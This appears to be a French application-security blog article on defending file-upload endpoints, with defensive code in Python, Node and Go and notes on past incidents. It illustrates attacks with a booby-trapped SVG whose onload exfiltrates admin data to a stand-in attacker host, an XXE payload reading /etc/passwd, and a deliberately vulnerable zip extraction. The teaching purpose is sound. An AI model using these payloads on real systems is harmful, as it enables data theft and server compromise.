La sécurité des uploads de fichiers est l'un des chantiers AppSec les plus sous-estimés en 2026. Un formulaire qui accepte un fichier expose immédiatement une dizaine de classes de vulnérabilités simultanées : exécution de code à distance via web shell (CWE-434), path traversal via zip slip (CWE-22), XSS persistant via SVG (CWE-79), déni de service par zip bomb (CWE-400), XXE via documents Office (CWE-611), SSRF via OEmbed ou génération de PDF, fuite de métadonnées EXIF, pollution de stockage. Aucune défense unique ne couvre l'ensemble : la robustesse vient d'un empilement de contrôles coordonnés — validation magic bytes, allowlist stricte, re-encodage, scan antivirus, stockage hors webroot, domaine sandbox pour le service, headers de réponse durcis. Cet article détaille les classes de vulnérabilités, les défenses couche par couche, les spécificités par type de fichier (images, Office, PDF, archives), les options de stockage (S3, GCS, filesystem) et trois incidents historiques majeurs qui illustrent l'impact.
Pourquoi les uploads restent critiques en 2026
Trois évolutions convergent pour maintenir l'upload comme une surface d'attaque majeure.
Surface étendue côté cloud : les applications modernes acceptent des uploads sur de multiples canaux (formulaire web, API REST, API GraphQL, client mobile, webhooks tiers). Chaque canal réintroduit potentiellement les mêmes classes de vulnérabilités.
Complexité des formats de fichiers : les formats courants (DOCX, XLSX, PDF, SVG, PNG) sont en réalité des containers complexes supportant scripts embarqués, références externes, métadonnées, entités XML. Un attaquant sophistiqué crée des fichiers polyglottes (PDF+JPG valides simultanément) ou malformés pour contourner les validateurs.
Démocratisation du cloud object storage : S3, GCS, Azure Blob offrent une sécurité par défaut meilleure que le filesystem local, mais les misconfigurations (bucket public, signed URL sans expiration, upload direct client sans validation) ont créé de nouvelles classes d'incidents.
Classes de vulnérabilités upload
Sept classes principales, souvent chaînables en escalade.
1. RCE via upload de web shell
L'attaquant uploade un fichier exécutable serveur (PHP, JSP, ASPX) dans un répertoire servi et interprété. L'accès ultérieur à l'URL déclenche l'exécution du code côté serveur.
Défense primaire : rendre impossible l'exécution côté serveur sur le répertoire de stockage (pas d'interpréteur, pas de handler), servir les fichiers via un endpoint applicatif dédié.
2. Path traversal et zip slip
L'attaquant fournit un nom de fichier ou un chemin d'entrée d'archive contenant ../ qui écrit hors du répertoire cible, écrasant potentiellement des fichiers système ou applicatifs.
# Python vulnérable : extraction naïve d'une archive
import zipfile
def extract_zip(zip_path, destination):
with zipfile.ZipFile(zip_path) as z:
z.extractall(destination) # vulnérable au zip slip
# Défense : valider chaque chemin après normalisation
import os
def safe_extract(zip_path, destination):
destination = os.path.realpath(destination)
with zipfile.ZipFile(zip_path) as z:
for member in z.infolist():
target = os.path.realpath(os.path.join(destination, member.filename))
if not target.startswith(destination + os.sep):
raise ValueError(f"Tentative de zip slip détectée: {member.filename}")
z.extract(member, destination)3. XSS stored via SVG
Un fichier SVG uploadé et servi avec Content-Type image/svg+xml exécute du JavaScript dans le contexte du domaine servant l'image.
<!-- SVG piégé : le script s'exécute au chargement -->
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('/api/admin/users').then(r=>r.text()).then(d=>navigator.sendBeacon('https://attacker.oob.example',d))">
<circle cx="50" cy="50" r="40" />
</svg>4. XXE via documents Office et XML
Les formats DOCX, XLSX, PPTX sont des archives ZIP contenant des XML. Un parser XML mal configuré qui expand les entités externes permet l'exfiltration de fichiers serveur ou le SSRF.
<!-- XXE classique dans content.xml -->
<!DOCTYPE r [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<r>&xxe;</r>5. SSRF via traitement serveur
Un upload traité côté serveur (OEmbed, génération de PDF, rendu preview, ingestion d'URL dans un document) peut initier des requêtes sortantes arbitraires. Classique sur les endpoints qui acceptent une URL ou un document référençant des ressources externes.
6. DoS algorithmique (zip bomb, image bomb)
Un fichier compressé ou crafted explose en mémoire ou disque à l'extraction. Exemple canonique : archive 42.zip qui fait 42 kilooctets et décompresse en 4,5 pétaoctets.
7. Fuite de métadonnées
Les fichiers image (JPEG, TIFF) contiennent des métadonnées EXIF (géolocalisation GPS, modèle appareil, propriétaire), les PDF contiennent l'auteur et les traces d'édition. Un upload public peut exposer ces informations sensibles.
Checklist défensive par couche
La défense robuste repose sur l'empilement de contrôles. Aucun contrôle unique n'est suffisant.
| Couche | Contrôle | Exemple technique |
|---|---|---|
| Client (HTML) | Type et taille en attribut | <input accept="image/png,image/jpeg" > |
| Reverse proxy | Taille max | client_max_body_size 10m; (nginx) |
| API gateway | Rate limiting | 10 uploads par minute par token |
| Validation applicative | Magic bytes | libmagic, file-type (Node), h2non/filetype (Go) |
| Validation applicative | Allowlist type | Exemple : PNG, JPEG, PDF uniquement |
| Validation applicative | Taille applicative | Plus stricte que le proxy (ex. 5 MB pour image avatar) |
| Validation applicative | Content-Type serveur | Recalculé depuis magic bytes, pas depuis header client |
| Re-encodage | Image | Pillow ou Sharp qui re-encode JPEG en JPEG, retire EXIF |
| Sanitisation | SVG | svg-sanitizer, svg-sanitize, DOMPurify côté build |
| Scan malware | Antivirus | ClamAV, VirusTotal API, AWS GuardDuty Malware for S3 |
| Renommage | UUID serveur | crypto.randomUUID() + extension validée |
| Stockage | Hors webroot | S3 avec signed URL ou disque hors document root |
| Servage | Domaine sandbox | files.example.test distinct de l'app |
| Servage | Headers durcis | Content-Disposition attachment, CSP restrictive |
| Servage | Content-Type forcé | Pas de sniffing MIME côté navigateur |
Validation des magic bytes
La règle d'or : ne jamais faire confiance à l'extension ni au Content-Type déclarés par le client. La détection se fait sur les premiers octets du fichier via une bibliothèque spécialisée.
# Python avec python-magic (libmagic binding)
import magic
ALLOWED_MIME = {"image/jpeg", "image/png", "application/pdf"}
def validate_upload(file_bytes: bytes, declared_filename: str) -> str:
detected_mime = magic.from_buffer(file_bytes, mime=True)
if detected_mime not in ALLOWED_MIME:
raise ValueError(f"Type non autorisé : {detected_mime}")
ext_map = {
"image/jpeg": ".jpg",
"image/png": ".png",
"application/pdf": ".pdf",
}
return ext_map[detected_mime]// Node.js avec file-type
import { fileTypeFromBuffer } from 'file-type';
const ALLOWED_MIME = new Set(['image/jpeg', 'image/png', 'application/pdf']);
export async function validateUpload(buffer) {
const type = await fileTypeFromBuffer(buffer);
if (!type || !ALLOWED_MIME.has(type.mime)) {
throw new Error(`Type non autorisé : ${type?.mime ?? 'inconnu'}`);
}
return type;
}// Go avec h2non/filetype
package main
import (
"github.com/h2non/filetype"
"errors"
)
var allowedMIME = map[string]bool{
"image/jpeg": true,
"image/png": true,
"application/pdf": true,
}
func validateUpload(buf []byte) (string, error) {
kind, err := filetype.Match(buf)
if err != nil || kind == filetype.Unknown {
return "", errors.New("type inconnu")
}
if !allowedMIME[kind.MIME.Value] {
return "", errors.New("type non autorisé : " + kind.MIME.Value)
}
return kind.MIME.Value, nil
}Re-encodage des images
Le re-encodage est la défense la plus robuste contre les images crafted et les polyglottes. Une image re-encodée est une image dont le contenu a été parsé puis régénéré par une bibliothèque connue, détruisant tout contenu non-image parasité.
# Python avec Pillow : re-encodage JPEG avec suppression EXIF
from PIL import Image
from io import BytesIO
def reencode_image(input_bytes: bytes, max_dim: int = 2048) -> bytes:
img = Image.open(BytesIO(input_bytes))
img.load()
img.thumbnail((max_dim, max_dim))
output = BytesIO()
img.convert("RGB").save(output, format="JPEG", quality=85, optimize=True)
return output.getvalue()// Node.js avec Sharp : re-encodage + strip metadata
import sharp from 'sharp';
export async function reencodeImage(buffer, { maxWidth = 2048 } = {}) {
return sharp(buffer)
.resize({ width: maxWidth, withoutEnlargement: true })
.jpeg({ quality: 85, mozjpeg: true })
.withMetadata({ exif: {} })
.toBuffer();
}Sanitisation SVG
Si le SVG est vraiment nécessaire (très rare), sanitiser systématiquement via une bibliothèque dédiée qui supprime scripts, event handlers, et references externes.
// Node.js avec @mattkrick/sanitize-svg
import sanitizeSvg from '@mattkrick/sanitize-svg';
export async function sanitizeUserSvg(svgString) {
const blob = new Blob([svgString], { type: 'image/svg+xml' });
const cleaned = await sanitizeSvg(blob);
if (!cleaned) throw new Error('SVG rejeté (contenu dangereux)');
return cleaned;
}Scan antivirus
Intégration ClamAV via daemon dans le pipeline.
# Python avec clamd (ClamAV daemon)
import clamd
cd = clamd.ClamdUnixSocket()
def scan_upload(file_bytes: bytes) -> None:
result = cd.instream(BytesIO(file_bytes))
status, signature = result.get('stream', ('ERROR', None))
if status != 'OK':
raise ValueError(f"Malware détecté : {signature}")Pour les déploiements cloud-native, AWS GuardDuty Malware Protection for S3 (GA avril 2024) et Azure Defender for Storage scannent automatiquement les objets uploadés sans intégration applicative.
Spécificités par type de fichier
Chaque famille de formats a ses pièges dominants.
Images (JPEG, PNG, GIF, WebP, SVG)
- JPEG/PNG/WebP : re-encodage systématique via Pillow, Sharp ou ImageMagick correctement configuré. Politique ImageMagick restrictive obligatoire (désactiver delegate readers non nécessaires).
- SVG : à refuser par défaut. Si accepté, sanitisation + domaine sandbox + Content-Disposition attachment.
- GIF animés : limite stricte du nombre de frames (DoS via gif avec 50 000 frames).
<!-- ImageMagick policy.xml restrictive (référence 2026) -->
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
<policy domain="coder" rights="none" pattern="PDF" />
<policy domain="coder" rights="none" pattern="XPS" />
<policy domain="path" rights="none" pattern="@*" />
<policy domain="resource" name="memory" value="256MiB" />
<policy domain="resource" name="time" value="10" />
</policymap>Documents Office (DOCX, XLSX, PPTX, ODT)
Ces formats sont des archives ZIP contenant des XML. Deux risques principaux : zip slip à l'extraction interne, XXE via parsers XML mal configurés.
- Utiliser des bibliothèques modernes avec XXE désactivé par défaut (Apache POI récent, openpyxl récent, python-docx).
- Ne jamais exécuter les macros. Si nécessaire, sandboxing fort.
- Limite de taille archive, limite de ratio de décompression.
Format complexe supportant JavaScript, formulaires, liens externes, multimédia embarqué.
- Re-rendering via un outil type pdf2pdf ou ghostscript (attention aux propres CVE ghostscript), ou conversion en images pour affichage.
- Strip JavaScript via pdf-lib ou pikepdf.
- Désactivation JavaScript dans les viewers client (PDF.js configurable).
# Python avec pikepdf : strip JavaScript et actions
import pikepdf
def clean_pdf(input_path: str, output_path: str) -> None:
with pikepdf.open(input_path) as pdf:
if "/Names" in pdf.Root and "/JavaScript" in pdf.Root["/Names"]:
del pdf.Root["/Names"]["/JavaScript"]
if "/OpenAction" in pdf.Root:
del pdf.Root["/OpenAction"]
for page in pdf.pages:
if "/AA" in page:
del page["/AA"]
pdf.save(output_path)Archives (ZIP, TAR, RAR, 7z)
- Limite de ratio de décompression (refuser supérieur à 100:1).
- Limite de taille totale extraite.
- Validation du chemin de chaque entrée après normalisation (défense zip slip).
- Refus des symlinks internes (format TAR en particulier).
CSV et formats tabulaires
- CSV injection (formules injectées dans cellules commençant par =, +, -, @). Impact limité mais réel sur Excel/LibreOffice ouvrant ensuite le CSV.
- Préfixer chaque cellule commençant par caractère dangereux avec apostrophe ou tab.
Stockage : où et comment
Trois options principales, avec leurs pièges.
Object storage managé (S3, GCS, Azure Blob)
Recommandé pour la majorité des cas en 2026.
- Upload via signed URL courte durée (5 à 15 minutes) pour éviter de router le flux via l'application.
- Bucket privé par défaut, accès via signed URL de lecture temporaire.
- SSE-KMS pour chiffrement at rest.
- Politique de lifecycle automatique (suppression après délai).
- Malware Protection activé (AWS GuardDuty for S3, Azure Defender).
- Object Lock si rétention immuable nécessaire (compliance).
Filesystem local
Acceptable pour les déploiements simples, requiert rigueur supplémentaire.
- Répertoire hors webroot, servi uniquement via endpoint applicatif.
- Permissions strictes (0640, propriétaire app, groupe app).
- Pas d'interpréteur dans le path (pas de PHP, CGI, Server Side Includes actifs).
try_filesnginx ou équivalent pour refuser le servage direct.
# nginx : configuration servage statique sécurisée
location /uploads/ {
alias /var/app/storage/;
autoindex off;
add_header Content-Disposition 'attachment' always;
add_header X-Content-Type-Options nosniff always;
add_header Content-Security-Policy "default-src 'none'; sandbox" always;
# Bloc toute extension interprétable
location ~* \.(php|phtml|py|pl|cgi|rb|jsp|asp|aspx|sh)$ {
return 403;
}
}CDN en frontage
Les CDN (Cloudflare, CloudFront, Fastly) ajoutent une couche utile : WAF intégré, règles managed OWASP, scan de malware en edge sur certaines offres. Configurer le cache pour que les signed URLs ne soient jamais mises en cache (Cache-Control: private).
Domaine sandbox pour le servage
Une des défenses les plus sous-utilisées. Servir les contenus uploadés sur un domaine distinct du domaine applicatif principal casse les attaques cross-origin et les XSS stored.
Exemple : app.example.com pour l'application, userfiles.example-cdn.com pour les uploads. Un SVG piégé exécuté dans userfiles.example-cdn.com ne peut pas lire les cookies de session de app.example.com (même origin policy).
Configuration type :
- Domaine différent, idéalement TLD différent (impossible cookie bleeding).
- Content-Security-Policy restrictive sur le domaine sandbox.
- X-Content-Type-Options: nosniff pour empêcher le MIME sniffing.
- Content-Disposition: attachment pour forcer le download quand approprié.
Incidents historiques
Trois cas documentés qui illustrent l'impact business.
Apache Struts — Equifax 2017
CVE-2017-5638, score CVSS 10.0. Une injection via header Content-Type dans le parser Jakarta Multipart d'Apache Struts. Exploitée par des attaquants qui ont compromis Equifax en mai 2017, exposant les données personnelles de 147,9 millions de personnes. Coût total pour Equifax : plus de 1,4 milliard $ en règlements, amendes et coûts de remédiation.
ImageMagick — ImageTragick 2016
CVE-2016-3714, score CVSS 9.8. Une série de vulnérabilités dans les delegates ImageMagick permettant l'exécution de commandes via des fichiers image crafted. Nombreuses plateformes d'hébergement images et CMS affectés. La leçon durable : politique ImageMagick restrictive par défaut, et re-encodage via bibliothèque en pur Python ou Node (Pillow, Sharp) plutôt que via ImageMagick CLI.
Zip Slip — disclosure 2018
Snyk et VUSec ont publié en juin 2018 une disclosure coordonnée affectant plus de 20 000 projets open source, dont des bibliothèques Java, Ruby, Python, Go. De nombreux patches ont été déployés, mais des forks non maintenus et des déploiements bloqués sur versions anciennes restent vulnérables en 2026. Tout code qui extrait des archives sans valider les chemins reste à risque.
Points clés à retenir
- La défense upload robuste repose sur l'empilement de contrôles : magic bytes, allowlist, re-encodage, sanitisation, scan antivirus, stockage hors webroot, domaine sandbox, headers durcis. Aucun contrôle unique ne suffit.
- L'extension et le Content-Type fournis par le client ne sont jamais fiables. La détection se fait sur les magic bytes via libmagic, file-type (Node), h2non/filetype (Go).
- Les formats à haut risque (SVG, DOCX, PDF, archives) nécessitent des traitements spécifiques : sanitisation XML, re-rendering, limites de ratio de décompression, validation des chemins internes.
- Le stockage objet managé (S3, GCS, Azure Blob) avec signed URL courte durée et Malware Protection activé est le choix recommandé en 2026.
- Servir les uploads sur un domaine sandbox distinct du domaine applicatif casse une large partie des chaînes d'exploitation post-upload.
Pour aller plus loin
- Injection SQL : fonctionnement, types et défenses - une autre classe critique OWASP A03:2021.
- Roadmap secure coding - intégrer ces défenses dans la pratique dev quotidienne.
- Introduction OWASP Top 10 - panorama complet des 10 classes de vulnérabilités web.
- Roadmap API Security - sécurisation des endpoints API qui acceptent des uploads.





